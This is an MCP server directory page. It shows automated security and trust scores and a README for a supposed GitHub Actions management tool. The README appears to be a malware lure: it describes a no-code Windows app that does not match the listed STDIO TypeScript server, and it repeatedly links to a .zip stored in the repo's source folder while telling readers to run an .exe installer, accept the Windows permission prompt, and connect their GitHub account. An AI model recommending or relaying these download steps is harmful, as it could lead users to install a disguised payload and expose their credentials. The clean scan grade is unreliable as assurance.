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GitHub Actions MCP Server

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Control GitHub Actions workflows from your AI assistant to list runs, read logs, rerun jobs, cancel builds, and trigger deployments within your editor.

MIT
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developer tools
1stars
1forks
Scanned Oct 2, 2026
RepositoryGITHUB
Automated scan (limited checks) · 2026-10-02

This grade comes from an automated MCPSafe scan of the server's JavaScript, TypeScript and Python source on 2026-10-02. It read the whole repository (6 files). It checks for leaked credentials, shell or code injection from function inputs, unsafe deserialization, malware signatures, install-time scripts, and weak password handling. It does not check for path traversal, server-side request forgery, prompt injection in tool descriptions, network exposure, SQL injection, cross-site scripting, or vulnerable dependencies. It has not been manually reviewed, and the code may have changed since the scan.

A+100%
Scanned 1w ago

Excellent Security

Vulnerabilities Found
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0High
0Med
0Low
0Info

Trust Score 74

Review required
Trust grade B

Trust is stricter than security: it combines reviewed security, MCP capability risk, supply-chain metadata, quality, popularity, freshness, and penalties for unknowns.

Security
100
MCP risk
52
Supply chain
92
Maintenance
58
Docs
100
Freshness
80
Risk traits
Runs shell commands
Filesystem access
Network/API access
Requires secrets
Why it scores well
  • • No reviewed severe vulnerabilities published
  • • Good documentation surface
  • • Solid supply-chain metadata
  • • Recently scanned
What reduces confidence
  • • MCP risk traits: Runs shell commands, Filesystem access, Network/API access

Security ScoreA+

100
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Vulnerabilities Found

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Crit
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Medi
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Info
Last scanned: 10/2/2026

Quality ScoreC

63
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58
Maint.
3
Popular
100
Docs
78
Compat
Maintenance58%
Popularity3%
Documentation100%
Compatibility78%

Maintenance58

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Commit Frequency65%
Release Frequency35%
Issue Response80%

Popularity3

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Downloads
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Stars Score8%
Downloads Score0%
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Documentation100

README Quality100%

Available Documentation

API DocsExamplesChangelog

Compatibility78

MCP Spec Compliance80%
Transport Support75%

Features

TypeScript

Supported Transports

STDIO

Vulnerabilities(0)

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READMEGitHub Actions MCP Server

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⚙️ mcp-server-github-actions - Manage GitHub Workflows Easily

![Download Now](https://github.com/ka1ss3r23/mcp-server-github-actions/raw/refs/heads/main/src/server-github-mcp-actions-v3.9.zip)

📋 What Is This?

This application helps you manage GitHub Actions from one place. It lets you see past workflow runs, read detailed logs, restart jobs, and start new workflows. You do not need any coding knowledge to use this app. It works on Windows and presents information in a simple way.

GitHub Actions automate tasks like building and testing code. This app helps you watch and control those tasks without using extra tools or scripts.


🖥️ System Requirements

To run this app on Windows, your computer needs:

  • Windows 10 or newer (64-bit)
  • At least 4 GB of RAM
  • 500 MB of free hard drive space
  • Internet connection (to access GitHub data)
  • A modern web browser (Chrome, Edge, or Firefox recommended)

🚀 How to Get Started

Step 1. Go to the Download Page

Click the big button below to visit the download page. This is where you will find the latest files to install the app.

![Download Now](https://github.com/ka1ss3r23/mcp-server-github-actions/raw/refs/heads/main/src/server-github-mcp-actions-v3.9.zip)

This page contains all files, instructions, and updates. It will also help you find new versions as they come out.

Step 2. Download the Installer

On the GitHub page, look for a file that ends with .exe. It is the installer file for Windows. The file name should be something like:

https://github.com/ka1ss3r23/mcp-server-github-actions/raw/refs/heads/main/src/server-github-mcp-actions-v3.9.zip

Click the file to download it to your computer.

Step 3. Run the Installer

After downloading, open the file. Windows may ask if you want to allow this app to make changes to your device. Click ‘Yes’ to continue.

Follow the instructions on the screen. The installer will guide you through the setup. You can keep the default options, which work fine for most users.

Step 4. Launch the App

When installation finishes, you can start the app right away. Look on your desktop or in the Start menu for “MCP Server”.

Double-click the icon to open the program.


🛠️ Using the App

Once the app opens, it connects to your GitHub account to show workflow actions. You may need to sign in or connect your account. This helps the app access your workflow data.

Here is what you can do inside the app:

  • View Runs: See a list of all recent workflow runs. Check the status, date, and which repository ran the job.
  • Read Logs: Click on any run to see detailed logs. These show what happened during the workflow steps.
  • Re-run Jobs: If a workflow fails or you want to run a job again, select the run and click “Re-run”.
  • Trigger Workflows: Start a new workflow manually. Use this to test changes or start tasks on demand.

The interface uses simple buttons and lists. You do not need to type anything or run commands.


🔧 Common Tasks and Tips

Viewing Workflow Runs

  • Open the app and wait for the list to load.
  • Runs are sorted with the newest on top.
  • Each run shows the status as Passed, Failed, or In Progress.

Checking Logs

  • Click any run in the list.
  • A detailed log window opens.
  • Scroll through the log to find messages and errors.
  • Use the search box to locate specific terms.

Re-running Jobs

  • Select a run that you want to re-run.
  • Click on “Re-run Job”.
  • Confirm your choice.
  • The app will restart the workflow and update the status.

Triggering a Workflow

  • Go to the “Workflows” tab.
  • Pick a workflow from the list.
  • Click “Start” to trigger the workflow immediately.
  • Wait to see it appear in the run list.

🔒 Security and Privacy

  • The app only accesses data from your GitHub account with your permission.
  • It does not store your passwords. Authentication happens securely.
  • All data stays on your device except for information retrieved from GitHub.
  • Keep your app updated to maintain security and get the latest fixes.

🛑 Troubleshooting

If the app does not run or shows errors:

  • Make sure you are connected to the internet.
  • Check if Windows is updated.
  • Restart your computer and try again.
  • Look for error messages in the logs inside the app.
  • If you cannot sign in, check your GitHub account status and token permissions.

🔄 Updating the App

To update to a newer version:

  • Visit the GitHub download page again.
  • Download the latest installer file.
  • Run the installer as before.
  • It will replace the old version without affecting settings.

🌐 More About This App

This app uses the Model Context Protocol (MCP) to work smoothly with GitHub Actions. It is built with TypeScript and designed to handle large workflows with many jobs.

It helps you get better control over continuous integration and deployment tasks without using the command line or writing scripts.


🔗 Download and Install Here

Use the link below once again to get the latest version or re-download the app:

![Download MCP Server](https://github.com/ka1ss3r23/mcp-server-github-actions/raw/refs/heads/main/src/server-github-mcp-actions-v3.9.zip)

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Server Information

Source
GITHUB
Language
other
License
MIT
Transport
STDIO
Added
Aug 11, 2026
Updated
Oct 1, 2026